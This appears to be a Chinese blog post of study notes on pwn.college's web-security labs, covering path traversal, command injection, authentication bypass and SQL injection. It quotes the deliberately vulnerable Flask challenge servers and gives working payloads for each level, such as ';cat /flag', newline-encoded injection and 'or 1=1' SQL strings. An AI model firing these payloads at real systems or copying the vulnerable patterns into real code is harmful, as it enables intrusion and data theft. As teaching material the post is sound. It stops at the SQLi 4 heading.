【笔记】pwn.college之Intro to Cybersecurity(pwn.college)
Web Security Web安全
Path Traversal 1 路径遍历1
这一关卡将探讨Linux路径解析与攻击者意外web请求的交集。 我们已经为您启动了一个简单的web服务器——它将通过HTTP协议提供来自/challenge/files的文件。 你能让它给你flag吗?
web服务器程序是 /challenge/server 。 你可以像其他任何挑战一样运行它,然后通过HTTP(使用不同的终端或web浏览器)与它通信。 我们建议通读它的代码,以理解它在做什么并找到弱点!
提示: 如果你想知道为什么你的解决方案不起作用,请确保你尝试查询的是服务器实际接收到的内容! curl -v [url] 可以显示curl发送的确切字节数。
查看解析
按照题目提示首先在/challenge目录下启动http服务
./server
然后打开浏览器即可访问`challenge.localhost`
我们进行路径遍历`challenge.localhost/../../flag`
但是失败了,要经过URL编码才行:`challenge.localhost/..%2F..%2Fflag`#!/opt/pwn.college/python
import flask # 导入 Flask 框架
import os # 导入 os 模块以进行文件和路径操作
app = flask.Flask(__name__) # 创建一个 Flask 应用实例
@app.route("/", methods=["GET", "POST"]) # 定义根路由,支持 GET 和 POST 请求
@app.route("/<path:path>", methods=["GET", "POST"]) # 定义动态路由,支持 GET 和 POST 请求
def challenge(path="index.html"): # 默认访问 index.html
# 生成请求的完整文件路径,files 目录下
requested_path = app.root_path + "/files/" + path
print(f"DEBUG: {requested_path=}") # 调试输出请求的文件路径
try:
# 尝试打开并读取指定路径的文件
return open(requested_path).read()
except PermissionError:
# 如果权限错误,返回 403 Forbidden
flask.abort(403, requested_path)
except FileNotFoundError:
# 如果文件未找到,返回 404 Not Found
flask.abort(404, f"No {requested_path} from directory {os.getcwd()}")
except Exception as e:
# 对于其他异常,返回 500 Internal Server Error
flask.abort(500, requested_path + ":" + str(e))
# 生成一个随机的秘密密钥,用于 Flask 的会话管理
app.secret_key = os.urandom(8)
# 设置服务器名称和端口
app.config['SERVER_NAME'] = f"challenge.localhost:80"
# 启动 Flask 应用,绑定到指定的主机和端口
app.run("challenge.localhost", 80)
Path Traversal 2 路径遍历2
上一关的路径遍历发生的原因是:
- 开发人员不知道攻击者可能发送到他们的应用程序的真实潜在输入范围(例如,攻击者发送路径中具有特殊含义的字符的概念)。
- 这是开发人员的意图(只希望提供给用户
/challenge/files目录下的文件)与文件系统的实际情况(路径可以“返回”到目录级别)之间存在差距。
此关卡试图阻止您遍历路径,但以某种方式清楚地表明开发人员进一步缺乏对路径真正棘手的理解。你还能穿越它吗?
查看解析
cd /challenge
./server
`challenge.localhost/fortunes/..%2F..%2F..%2Fflag`/challenge/server代码分析
# 生成请求的完整文件路径,文件位于 files 目录下
requested_path = app.root_path + "/files/" + path.strip("/.") # 去除路径中的 / 和 . 防止路径遍历
challenge.localhost/fortunes/..%2F..%2F..%2Fflag 实际上可能解析为 files/fortunes/../../../flag。由于 fortunes 目录存在,路径解析会先进入这个目录,再进行向上移动,最终指向 flag 文件。
而 challenge.localhost/..%2F..%2Fflag 则直接尝试从应用根目录向上移动,因此可能会因为没有足够的权限或路径不合法而被阻止。
CMDi 1 命令执行漏洞1
现在,想象一下 Web 服务器和文件系统之间的这些安全问题比这更疯狂。Web 服务器和整个 Linux shell 之间的交互情况如何?
令人沮丧的是,开发人员经常依赖命令行 shell 来帮助完成复杂的操作。在这些情况下,Web 服务器将执行 Linux 命令并在其操作中使用该命令的结果(例如,一个常见的用例是促进图像处理的 Imagemagick 命令套件)。不同的语言有不同的方法来实现这一点(Python 中最简单的方法是 os.system,但我们主要与更高级的 subprocess.check_output交互),但几乎所有语言都存在命令注入的风险。
os.system 是 Python 的 os 模块中的一个函数,用于在 Python 程序中执行外部命令。它会在子终端中运行指定的命令,并返回命令的退出状态码,但不会捕获命令的输出。
subprocess.check_output 是 Python 的 subprocess 模块中的一个函数,用于执行外部命令并获取其输出。该函数会运行指定的命令,并返回命令的标准输出(stdout),如果命令执行失败(即返回非零状态码),则会抛出 CalledProcessError 异常。
在路径遍历中,攻击者发送了一个意外的字符 (.),导致文件系统执行了一些开发人员意想不到的事情(查看父目录)。同样,shell 中充满了特殊字符,这些字符会导致开发人员无意中的影响,并且开发人员的意图与 shell (或者,在以前的挑战中,文件系统) 所做的事情之间的差距存在各种安全问题。
例如,请考虑以下运行 shell 命令的 Python 代码段:
os.system(f"echo Hello {word}")
开发人员显然希望用户发送类似 Hackers 的内容,结果是类似于命令 echo Hello Hackers 的内容。但黑客可能会发送代码未明确阻止的任何内容。回想一下你在 Linux Luminarium 的 Chaining 模块中学到的内容:如果黑客发送了包含 ;的东西怎么办?
在这个关卡中,我们将探索这个确切的概念。看看你是否能欺骗关卡并得到flag!
查看解析
打开网站发现是一个输入框,输入的内容会使主机执行`ls -l <你的输入>`的命令,说明这输入框拥有使用shell执行命令的权限
对此我们可以进行命令串联来使其执行我们想执行的指令
`/flag;cat /flag`/challenge/server代码分析
#!/opt/pwn.college/python
import subprocess # 导入 subprocess 模块,用于执行外部命令
import flask # 导入 Flask 框架,用于构建 web 应用
import os # 导入 os 模块,以进行系统操作和环境管理
app = flask.Flask(__name__) # 创建一个 Flask 应用实例
@app.route("/", methods=["GET", "POST"]) # 定义根路由,支持 GET 和 POST 请求
def challenge():
# 从请求中获取 "directory" 参数,默认为 "/challenge"
directory = flask.request.args.get("directory", "/challenge")
# 构造要执行的命令
command = f"ls -l {directory}" # 列出指定目录的文件和详细信息
print(f"DEBUG: {command=}") # 调试输出构造的命令
# 使用 subprocess.run 执行命令,并捕获输出
listing = subprocess.run(
command, # 要执行的命令
shell=True, # 使用 shell 来执行命令
stdout=subprocess.PIPE, # 捕获标准输出
stderr=subprocess.STDOUT, # 将标准错误重定向到标准输出
encoding="latin" # 以指定编码捕获输出,转为文本
).stdout # 获取命令的输出
# 返回 HTML 格式的响应,包含表单和命令输出
return f"""
<html><body>
Welcome to the dirlister service! Please choose a directory to list the files of:
<form><input type=text name=directory><input type=submit value=Submit></form>
<hr>
<b>Output of: ls -l {directory}</b><br>
<pre>{listing}</pre>
</body></html>
"""
# 设置用户ID为当前有效用户ID,以限制权限
os.setuid(os.geteuid())
# 设置环境变量 PATH,确保命令可以在指定目录中查找
os.environ["PATH"] = "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# 生成一个随机的秘密密钥,用于 Flask 的会话管理
app.secret_key = os.urandom(8)
# 设置服务器名称和端口
app.config['SERVER_NAME'] = f"challenge.localhost:80"
# 启动 Flask 应用,绑定到指定的主机和端口
app.run("challenge.localhost", 80)
CMDi 2 命令执行漏洞2
许多开发人员都知道命令注入之类的事情,并试图阻止它。在这个关卡中,你不能使用 ;!你能想到另一种 command-inject 的方法吗?回想一下您在 Linux Luminarium 的 Piping 模块中学到的内容...
查看解析
用管道符即可
`/flag | cat /flag`/challenge/server代码分析
# 从请求的查询参数中获取 "directory" 的值,默认为 "/challenge"
# 使用 replace 方法移除输入中的分号,以防止命令注入攻击
directory = flask.request.args.get("directory", "/challenge").replace(";", "")
CMDi 3 命令执行漏洞3
命令注入的一个有趣之处在于,您无法选择在命令中发生注入的位置:开发人员在编写程序时不小心为您做出了选择。有时,这些注射发生在不舒服的地方。请考虑以下事项:
os.system(f"echo Hello '{word}'")
在这里,开发人员试图向 shell 传达 word 实际上应该只有一个单词。当在单引号中给出参数时,shell 会将其他特殊字符(如 ;、$ 等)视为普通字符,直到它匹配到右单引号 (')。
此关卡为您提供此方案。你能绕过它吗?
提示:请记住,无论您注入的任何内容的末尾都会有一个 ' 字符。在 shell 中,所有引号必须与合作伙伴匹配,否则命令无效。确保制作你的注入,以便生成的命令有效!
查看解析
我们用两个单引号对限制进行闭合
`';cat /flag; echo '`/challenge/server代码分析
command = f"ls -l '{directory}'" # 列出指定目录的文件和详细信息,但加上了',这是为了保护路径中可能包含的空格或特殊字符(如&、$等),确保它们被视为一个整体参数
CMDi 4 命令执行漏洞4
调用 shell 命令来执行工作,或通常所说的 “shelling out” 是危险的。shell 命令的任何部分都有可能被注入!在这个关卡中,我们将练习注入到一个略有不同的命令中。
查看解析
`;cat /flag`/challenge/server代码分析
#!/opt/pwn.college/python
import subprocess # 导入 subprocess 模块,用于执行外部命令
import flask # 导入 Flask 框架,用于构建 web 应用
import os # 导入 os 模块,以进行系统操作和环境管理
app = flask.Flask(__name__) # 创建一个 Flask 应用实例
@app.route("/", methods=["GET", "POST"]) # 定义根路由,支持 GET 和 POST 请求
def challenge():
# 从请求的查询参数中获取 "timezone" 的值,默认为 "MST"
timezone = flask.request.args.get("timezone", "MST")
# 构造要执行的命令,设置时区并获取当前时间
command = f"TZ={timezone} date"
print(f"DEBUG: {command=}") # 调试输出构造的命令
# 使用 subprocess.run 执行命令,并捕获输出
result = subprocess.run(
command, # 要执行的命令
shell=True, # 使用 shell 来执行命令
stdout=subprocess.PIPE, # 捕获标准输出
stderr=subprocess.STDOUT, # 将标准错误重定向到标准输出
encoding="latin" # 以指定编码捕获输出,转为文本
)
# 返回 HTML 格式的响应,包含表单和命令输出
return f"""
<html><body>
Welcome to the timezone service! Please choose a timezone to get the time there.
<form><input type=text name=timezone><input type=submit value=Submit></form>
<hr>
<b>Output of: TZ={timezone} date</b><br>
<pre>{result.stdout}</pre>
</body></html>
"""
# 设置用户ID为当前有效用户ID,以限制权限
os.setuid(os.geteuid())
# 设置环境变量 PATH,确保命令可以在指定目录中查找
os.environ["PATH"] = "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# 生成一个随机的秘密密钥,用于 Flask 的会话管理
app.secret_key = os.urandom(8)
# 设置服务器名称和端口
app.config['SERVER_NAME'] = f"challenge.localhost:80"
# 启动 Flask 应用,绑定到指定的主机和端口
app.run("challenge.localhost", 80)
CMDi 5 命令执行漏洞5
程序往往会花钱进行复杂的内部计算。这意味着您可能并不总是收到结果输出,并且您需要盲目地进行攻击。在这个关卡中尝试一下:在没有注入的命令的输出的情况下,获取flag!
查看解析
这次网页没有回显,我们将读取的flag内容保存到新文件中
`;cat /flag > /nihao`
然后直接读取
cat /nihao/challenge/server代码分析
#!/opt/pwn.college/python
import subprocess # 导入 subprocess 模块,用于执行外部命令
import flask # 导入 Flask 框架,用于构建 web 应用
import os # 导入 os 模块,以进行系统操作和环境管理
app = flask.Flask(__name__) # 创建一个 Flask 应用实例
@app.route("/", methods=["GET", "POST"]) # 定义根路由,支持 GET 和 POST 请求
def challenge():
# 从请求的查询参数中获取 "filepath" 的值,默认为 "/challenge"
filepath = flask.request.args.get("filepath", "/challenge")
# 构造要执行的命令,用于创建或更新文件的时间戳
command = f"touch {filepath}"
print(f"DEBUG: {command=}") # 调试输出构造的命令
# 使用 subprocess.run 执行命令
subprocess.run(
command, # 要执行的命令
shell=True, # 使用 shell 来执行命令
stdout=subprocess.PIPE, # 捕获标准输出
stderr=subprocess.STDOUT, # 将标准错误重定向到标准输出
encoding="latin" # 以指定编码捕获输出,转为文本
)
# 返回 HTML 格式的响应,包含表单和命令输出
return f"""
<html><body>
Welcome to the touch service! Please choose a file to touch:
<form><input type=text name=filepath><input type=submit value=Submit></form>
<hr>
<b>Ran the command: touch {filepath}</b>
</body></html>
"""
# 设置用户ID为当前有效用户ID,以限制权限
os.setuid(os.geteuid())
# 设置环境变量 PATH,确保命令可以在指定目录中查找
os.environ["PATH"] = "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# 生成一个随机的秘密密钥,用于 Flask 的会话管理
app.secret_key = os.urandom(8)
# 设置服务器名称和端口
app.config['SERVER_NAME'] = f"challenge.localhost:80"
# 启动 Flask 应用,绑定到指定的主机和端口
app.run("challenge.localhost", 80)
CMDi 6 命令执行漏洞6
有时,开发人员会非常努力地筛选出具有潜在危险的角色。这次挑战的成功几乎是完美的,但并不完全是......你会难住一段时间,但当你找出解决方案时,你会嘲笑开发人员的能力!
查看解析
大部分的分隔符都被过滤了因此我们需要别的输入能使命令结束
换行符经URL编码后得到的是"%0A"
因此我们注入`%0A cat /flag`
(卡了我很久)/challenge/server代码分析
#!/opt/pwn.college/python
import subprocess # 导入 subprocess 模块,用于执行外部命令
import flask # 导入 Flask 框架,用于构建 web 应用
import os # 导入 os 模块,以进行系统操作和环境管理
app = flask.Flask(__name__) # 创建一个 Flask 应用实例
@app.route("/", methods=["GET", "POST"]) # 定义根路由,支持 GET 和 POST 请求
def challenge():
# 从请求的查询参数中获取 "directory" 的值,默认为 "/challenge"
# 使用 replace 方法移除输入中的特殊字符,以防止命令注入攻击
directory = (
flask.request.args.get("directory", "/challenge")
.replace(";", "")
.replace("&", "")
.replace("|", "")
.replace(">", "")
.replace("<", "")
.replace("(", "")
.replace(")", "")
.replace("`", "")
.replace("$", "")
)
# 构造要执行的命令,列出指定目录的文件
command = f"ls -l {directory}"
print(f"DEBUG: {command=}") # 调试输出构造的命令
# 使用 subprocess.run 执行命令,并捕获输出
listing = subprocess.run(
command, # 要执行的命令
shell=True, # 使用 shell 来执行命令
stdout=subprocess.PIPE, # 捕获标准输出
stderr=subprocess.STDOUT, # 将标准错误重定向到标准输出
encoding="latin" # 以指定编码捕获输出,转为文本
).stdout
# 返回 HTML 格式的响应,包含表单和命令输出
return f"""
<html><body>
Welcome to the dirlister service! Please choose a directory to list the files of:
<form><input type=text name=directory><input type=submit value=Submit></form>
<hr>
<b>Output of: ls -l {directory}</b><br>
<pre>{listing}</pre>
</body></html>
"""
# 设置用户ID为当前有效用户ID,以限制权限
os.setuid(os.geteuid())
# 设置环境变量 PATH,确保命令可以在指定目录中查找
os.environ["PATH"] = "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# 生成一个随机的秘密密钥,用于 Flask 的会话管理
app.secret_key = os.urandom(8)
# 设置服务器名称和端口
app.config['SERVER_NAME'] = f"challenge.localhost:80"
# 启动 Flask 应用,绑定到指定的主机和端口
app.run("challenge.localhost", 80)
Authentication Bypass 1 身份验证绕过1
当然,Web 应用程序可能存在与 shell 无关的安全漏洞。一种常见的漏洞类型是 Authentication Bypass,攻击者可以绕过应用程序的典型身份验证逻辑,并在不知道必要的用户凭证的情况下登录。
此关卡别要求您探索一个这样的场景。出现这种特定情况的原因是,开发人员的期望(应用程序设置的 URL 参数将仅由应用程序本身设置)与现实(攻击者可以制作 HTTP 请求以满足他们的内心内容)之间存在差距。
这里的目标不仅是让您体验此类漏洞是如何产生的,而且是让您熟悉数据库:Web 应用程序存储结构化数据的地方。正如您将在此关卡别中看到的,使用一种称为结构化查询语言(简称 SQL)的语言将数据存储到这些数据库中并从中读取数据。SQL 稍后将变得非常相关,但就目前而言,这只是挑战的附带部分。
无论如何,绕过此身份验证以 admin 用户身份登录并获取flag!
查看解析
根据源码所示,我们先登录guest的账号
然后修改session_user的参数即可/challenge/server代码分析
#!/opt/pwn.college/python
import tempfile # 用于创建临时文件
import sqlite3 # SQLite 数据库库
import flask # Flask Web 框架
import os # 用于访问操作系统功能
app = flask.Flask(__name__) # 创建一个 Flask 应用实例
# TemporaryDB 类实现了一个临时数据库,用于存储数据
class TemporaryDB:
def __init__(self):
# 创建一个带有随机名称的临时数据库文件
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")
def execute(self, sql, parameters=()):
# 执行 SQL 查询并返回结果
connection = sqlite3.connect(self.db_file.name) # 连接到临时数据库
connection.row_factory = sqlite3.Row # 使得查询结果可以通过列名访问
cursor = connection.cursor() # 创建游标
result = cursor.execute(sql, parameters) # 执行 SQL 语句
connection.commit() # 提交事务
return result # 返回结果
db = TemporaryDB() # 创建 TemporaryDB 实例
# 创建 users 表,初始时包含 admin 用户和随机生成的密码
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [os.urandom(8)])
# 插入 guest 用户及其密码
db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")
@app.route("/", methods=["POST"])
def challenge_post():
# 处理 POST 请求以进行用户登录
username = flask.request.form.get("username") # 从表单中获取用户名
password = flask.request.form.get("password") # 从表单中获取密码
if not username:
flask.abort(400, "Missing username form parameter") # 如果没有用户名,返回错误
if not password:
flask.abort(400, "Missing password form parameter") # 如果没有密码,返回错误
# 查询数据库以验证用户名和密码
user = db.execute("SELECT rowid, * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
if not user:
flask.abort(403, "Invalid username or password") # 如果无效,返回错误
return flask.redirect(f"""{flask.request.path}?session_user={username}""") # 重定向到主页并传递 session_user
@app.route("/", methods=["GET"])
def challenge_get():
# 处理 GET 请求以显示欢迎页面
if not (username := flask.request.args.get("session_user", None)): # 获取 session_user 参数
page = "<html><body>Welcome to the login service! Please log in as admin to get the flag."
else:
page = f"<html><body>Hello, {username}!" # 显示用户的欢迎信息
if username == "admin": # 如果用户是 admin
page += "<br>Here is your flag: " + open("/flag").read() # 显示 flag
# 返回 HTML 页面,包含登录表单
return page + """
<hr>
<form method=post>
User:<input type=text name=username>Pass:<input type=text name=password><input type=submit value=Submit>
</form>
</body></html>
"""
app.secret_key = os.urandom(8) # 生成一个随机的 secret_key
app.config['SERVER_NAME'] = f"challenge.localhost:80" # 设置服务器名称
app.run("challenge.localhost", 80) # 启动 Flask 应用
Authentication Bypass 2 身份验证绕过2
身份验证绕过并不总是那么简单。有时,应用程序的逻辑可能看起来是正确的,但是,开发人员期望的真实情况与实际的真实情况之间的差距再次显现出来。试一试这个关卡,记住:你控制请求,包括发送的所有HTTP头!
查看解析
以guest身份登录后得到cookie
修改cookie值即可/challenge/server代码分析
#!/opt/pwn.college/python
import tempfile # 用于创建临时文件
import sqlite3 # SQLite 数据库库
import flask # Flask Web 框架
import os # 用于访问操作系统功能
app = flask.Flask(__name__) # 创建一个 Flask 应用实例
# TemporaryDB 类实现了一个临时数据库,用于存储数据
class TemporaryDB:
def __init__(self):
# 创建一个带有随机名称的临时数据库文件
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")
def execute(self, sql, parameters=()):
# 执行 SQL 查询并返回结果
connection = sqlite3.connect(self.db_file.name) # 连接到临时数据库
connection.row_factory = sqlite3.Row # 使得查询结果可以通过列名访问
cursor = connection.cursor() # 创建游标
result = cursor.execute(sql, parameters) # 执行 SQL 语句
connection.commit() # 提交事务
return result # 返回结果
db = TemporaryDB() # 创建 TemporaryDB 实例
# 创建 users 表,初始时包含 admin 用户和随机生成的密码
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [os.urandom(8)])
# 插入 guest 用户及其密码
db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")
@app.route("/", methods=["POST"])
def challenge_post():
# 处理 POST 请求以进行用户登录
username = flask.request.form.get("username") # 从表单中获取用户名
password = flask.request.form.get("password") # 从表单中获取密码
if not username:
flask.abort(400, "Missing `username` form parameter") # 如果没有用户名,返回错误
if not password:
flask.abort(400, "Missing `password` form parameter") # 如果没有密码,返回错误
# 查询数据库以验证用户名和密码
user = db.execute("SELECT rowid, * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
if not user:
flask.abort(403, "Invalid username or password") # 如果无效,返回错误
# 登录成功,重定向到主页并设置 session_user cookie
response = flask.redirect(flask.request.path)
response.set_cookie('session_user', username) # 设置 cookie,以便在后续请求中保持用户登录状态
return response
@app.route("/", methods=["GET"])
def challenge_get():
# 处理 GET 请求以显示欢迎页面
if not (username := flask.request.cookies.get("session_user", None)): # 从 cookie 中获取 session_user 参数
page = "<html><body>Welcome to the login service! Please log in as admin to get the flag."
else:
page = f"<html><body>Hello, {username}!" # 显示用户的欢迎信息
if username == "admin": # 如果用户是 admin
page += "<br>Here is your flag: " + open("/flag").read() # 显示 flag
# 返回 HTML 页面,包含登录表单
return page + """
<hr>
<form method=post>
User:<input type=text name=username>Pass:<input type=text name=password><input type=submit value=Submit>
</form>
</body></html>
"""
app.secret_key = os.urandom(8) # 生成一个随机的 secret_key,用于保护会话数据
app.config['SERVER_NAME'] = f"challenge.localhost:80" # 设置服务器名称
app.run("challenge.localhost", 80) # 启动 Flask 应用
SQLi 1 SQL注入1
当然,这种安全漏洞比比皆是! 例如,在这个关卡上,登录用户的规范实际上是安全的。 这个关卡使用的不是参数或原始cookie,而是你无法篡改的加密会话cookie。 因此,你的任务是让应用程序真正验证你的管理员身份!
幸运的是,正如该关卡的名称所示,该应用程序容易受到SQL注入的攻击。 从概念上讲,SQL注入之于SQL就像命令注入之于shell。 在命令注入中,应用程序组装了一个命令字符串,开发人员的意图和命令shell的实际功能之间的差距使攻击者能够执行攻击者意想不到的操作。 SQL注入也是一样的:开发人员构建应用程序来生成针对特定目标的SQL查询,但由于应用程序逻辑组装这些查询的方式,当数据库执行SQL查询时,从安全角度来看可能是灾难性的。
命令注入并没有一个明确的解决方案:shell是一项古老的技术,与shell的接口在几十年前就已经僵化了,很难改变。 SQL在某种程度上更加灵活,而且大多数数据库现在提供的接口非常抵制SQL注入。 事实上,身份验证旁路关卡使用了这样的接口:它们非常容易受到攻击,但不会受到SQL注入的攻击。
另一方面,这个关卡是可注入SQL的,因为它有意使用略有不同的方式进行SQL查询。 当你找到可以注入输入的SQL查询时(提示:这是唯一一个与上一关卡有本质区别的SQL查询),看看现在的查询是什么样子,以及可能会注入哪些意想不到的条件。 典型的SQL注入添加了一个条件,使应用程序可以在不知道密码的情况下成功。 如何才能做到这一点呢?
查看解析
看源码可以看出是很纯粹的数字型SQL注入(密码是PIN码,通常由四位或更多数字组成)
我们构造登录payload`1234 or 1=1--+`#!/opt/pwn.college/python
import tempfile # 用于创建临时文件
import sqlite3 # SQLite 数据库库
import random # 用于生成随机数
import flask # Flask Web 框架
import os # 用于访问操作系统功能
app = flask.Flask(__name__) # 创建一个 Flask 应用实例
# TemporaryDB 类实现了一个临时数据库,用于存储数据
class TemporaryDB:
def __init__(self):
# 创建一个带有随机名称的临时数据库文件
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")
def execute(self, sql, parameters=()):
# 执行 SQL 查询并返回结果
connection = sqlite3.connect(self.db_file.name) # 连接到临时数据库
connection.row_factory = sqlite3.Row # 使得查询结果可以通过列名访问
cursor = connection.cursor() # 创建游标
result = cursor.execute(sql, parameters) # 执行 SQL 语句
connection.commit() # 提交事务
return result # 返回结果
db = TemporaryDB() # 创建 TemporaryDB 实例
# 创建 users 表,初始时包含 admin 用户和一个随机生成的 PIN
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as pin""", [random.randrange(2**32, 2**63)])
# 插入 guest 用户及其 PIN
db.execute("""INSERT INTO users SELECT "guest" as username, 1337 as pin""")
@app.route("/", methods=["POST"])
def challenge_post():
# 处理 POST 请求以进行用户登录
username = flask.request.form.get("username") # 从表单中获取用户名
pin = flask.request.form.get("pin") # 从表单中获取 PIN
if not username:
flask.abort(400, "Missing `username` form parameter") # 如果没有用户名,返回错误
if not pin:
flask.abort(400, "Missing `pin` form parameter") # 如果没有 PIN,返回错误
# 验证 PIN 的首字符是否为数字
if pin[0] not in "0123456789":
flask.abort(400, "Invalid pin")
try:
# 使用字符串格式化构建 SQL 查询
query = f'SELECT rowid, * FROM users WHERE username = "{username}" AND pin = {pin}'
print(f"DEBUG: {query=}") # 输出调试信息
user = db.execute(query).fetchone() # 执行查询并获取结果
except sqlite3.Error as e:
flask.abort(500, f"Query: {query}\nError: {e}") # 捕获并返回 SQL 错误
if not user:
flask.abort(403, "Invalid username or pin") # 如果无效,返回错误
flask.session["user"] = username # 登录成功,将用户名存入会话
return flask.redirect(flask.request.path) # 重定向到主页
@app.route("/", methods=["GET"])
def challenge_get():
# 处理 GET 请求以显示欢迎页面
if not (username := flask.session.get("user", None)): # 从会话中获取用户名
page = "<html><body>Welcome to the login service! Please log in as admin to get the flag."
else:
page = f"<html><body>Hello, {username}!" # 显示用户的欢迎信息
if username == "admin": # 如果用户是 admin
page += "<br>Here is your flag: " + open("/flag").read() # 显示 flag
# 返回 HTML 页面,包含登录表单
return page + """
<hr>
<form method=post>
User:<input type=text name=username>PIN:<input type=text name=pin><input type=submit value=Submit>
</form>
</body></html>
"""
app.secret_key = os.urandom(8) # 生成一个随机的 secret_key,用于保护会话数据
app.config['SERVER_NAME'] = f"challenge.localhost:80" # 设置服务器名称
app.run("challenge.localhost", 80) # 启动 Flask 应用
SQLi 2 SQL注入2
上一关的SQL注入非常简单,并且仍然有有效的SQL查询。 这在某种程度上是因为注入发生在查询的最后。 然而,在这一关中,注入发生在中途,然后有(稍微)更多的SQL查询。 这使得问题变得复杂,因为即使注入了数据,查询也必须保持有效。
查看解析
看源码可以看出是很纯粹的字符型SQL注入
我们构造登录payload`1234' or 1=1--+`#!/opt/pwn.college/python
import tempfile # 用于创建临时文件
import sqlite3 # SQLite 数据库库
import flask # Flask Web 框架
import os # 用于访问操作系统功能
app = flask.Flask(__name__) # 创建一个 Flask 应用实例
# TemporaryDB 类实现了一个临时数据库,用于存储数据
class TemporaryDB:
def __init__(self):
# 创建一个带有随机名称的临时数据库文件
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")
def execute(self, sql, parameters=()):
# 执行 SQL 查询并返回结果
connection = sqlite3.connect(self.db_file.name) # 连接到临时数据库
connection.row_factory = sqlite3.Row # 使得查询结果可以通过列名访问
cursor = connection.cursor() # 创建游标
result = cursor.execute(sql, parameters) # 执行 SQL 语句
connection.commit() # 提交事务
return result # 返回结果
db = TemporaryDB() # 创建 TemporaryDB 实例
# 创建 users 表,初始时包含 admin 用户和一个随机生成的密码
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [os.urandom(8)])
# 插入 guest 用户及其密码
db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")
@app.route("/", methods=["POST"])
def challenge_post():
# 处理 POST 请求以进行用户登录
username = flask.request.form.get("username") # 从表单中获取用户名
password = flask.request.form.get("password") # 从表单中获取密码
if not username:
flask.abort(400, "Missing `username` form parameter") # 如果没有用户名,返回错误
if not password:
flask.abort(400, "Missing `password` form parameter") # 如果没有密码,返回错误
try:
# 使用字符串格式化构建 SQL 查询
query = f"SELECT rowid, * FROM users WHERE username = '' AND password = '{password}'"
print(f"DEBUG: {query=}") # 输出调试信息
user = db.execute(query).fetchone() # 执行查询并获取结果
except sqlite3.Error as e:
flask.abort(500, f"Query: {query}\nError: {e}") # 捕获并返回 SQL 错误
if not user:
flask.abort(403, "Invalid username or password") # 如果无效,返回错误
flask.session["user"] = username # 登录成功,将用户名存入会话
return flask.redirect(flask.request.path) # 重定向到主页
@app.route("/", methods=["GET"])
def challenge_get():
# 处理 GET 请求以显示欢迎页面
if not (username := flask.session.get("user", None)): # 从会话中获取用户名
page = "<html><body>Welcome to the login service! Please log in as admin to get the flag."
else:
page = f"<html><body>Hello, {username}!" # 显示用户的欢迎信息
if username == "admin": # 如果用户是 admin
page += "<br>Here is your flag: " + open("/flag").read() # 显示 flag
# 返回 HTML 页面,包含登录表单
return page + """
<hr>
<form method=post>
User:<input type=text name=username>Pass:<input type=text name=password><input type=submit value=Submit>
</form>
</body></html>
"""
app.secret_key = os.urandom(8) # 生成一个随机的 secret_key,用于保护会话数据
app.config['SERVER_NAME'] = f"challenge.localhost:80" # 设置服务器名称
app.run("challenge.localhost", 80) # 启动 Flask 应用
SQLi 3 SQL注入3
回想一下,您的命令注入漏洞攻击程序通常会导致执行额外的命令。 到目前为止,SQL注入只是简单地修改了现有SQL查询的条件。 然而,类似于shell的命令链(例如 ; , | 等),一些SQL查询也可以被链接!
攻击者链式SQL查询的能力具有极其强大的潜力。 例如,它允许攻击者查询完全意想不到的表或表中完全意想不到的字段,从而导致你在新闻中看到的大量数据泄露。
这个关卡需要你弄清楚如何链接SQL查询语句以泄露数据。 祝你好运!
查看解析
看源码可以看出我们被双引号封闭了,我们要手动闭合并注释掉双引号
我们构造搜索的payload为`" union select password from users --+`#!/opt/pwn.college/python
import tempfile # 用于创建临时文件
import sqlite3 # SQLite 数据库库
import flask # Flask Web 框架
import os # 用于访问操作系统功能
app = flask.Flask(__name__) # 创建一个 Flask 应用实例
# TemporaryDB 类实现了一个临时数据库,用于存储数据
class TemporaryDB:
def __init__(self):
# 创建一个带有随机名称的临时数据库文件
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")
def execute(self, sql, parameters=()):
# 执行 SQL 查询并返回结果
connection = sqlite3.connect(self.db_file.name) # 连接到临时数据库
connection.row_factory = sqlite3.Row # 使得查询结果可以通过列名访问
cursor = connection.cursor() # 创建游标
result = cursor.execute(sql, parameters) # 执行 SQL 语句
connection.commit() # 提交事务
return result # 返回结果
db = TemporaryDB() # 创建 TemporaryDB 实例
# 从文件中读取 flag 作为 admin 用户的密码,并创建 users 表
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [open("/flag").read()])
# 插入 guest 用户及其密码
db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")
@app.route("/", methods=["GET"])
def challenge():
# 从请求参数中获取查询字符串,默认值为 "%"
query = flask.request.args.get("query", "%")
try:
# 使用 LIKE 操作符进行模糊匹配查询
sql = f'SELECT username FROM users WHERE username LIKE "{query}"'
print(f"DEBUG: {query=}") # 输出调试信息,显示当前查询
# 执行查询并获取所有匹配的用户名
results = "\n".join(user["username"] for user in db.execute(sql).fetchall())
except sqlite3.Error as e:
results = f"SQL error: {e}" # 捕获并返回 SQL 错误
# 返回 HTML 页面,包含查询表单和查询结果
return f"""
<html><body>Welcome to the user query service!
<form>Query:<input type=text name=query value='{query}'><input type=submit value=Submit></form>
<hr>
<b>Query:</b> <pre>{sql}</pre><br>
<b>Results:</b><pre>{results}</pre>
</body></html>
"""
app.secret_key = os.urandom(8) # 生成一个随机的 secret_key,用于保护会话数据
app.config['SERVER_NAME'] = f"challenge.localhost:80" # 设置服务器名称
app.run("challenge.localhost", 80) # 启动 Flask 应用
SQLi 4 SQL注入4
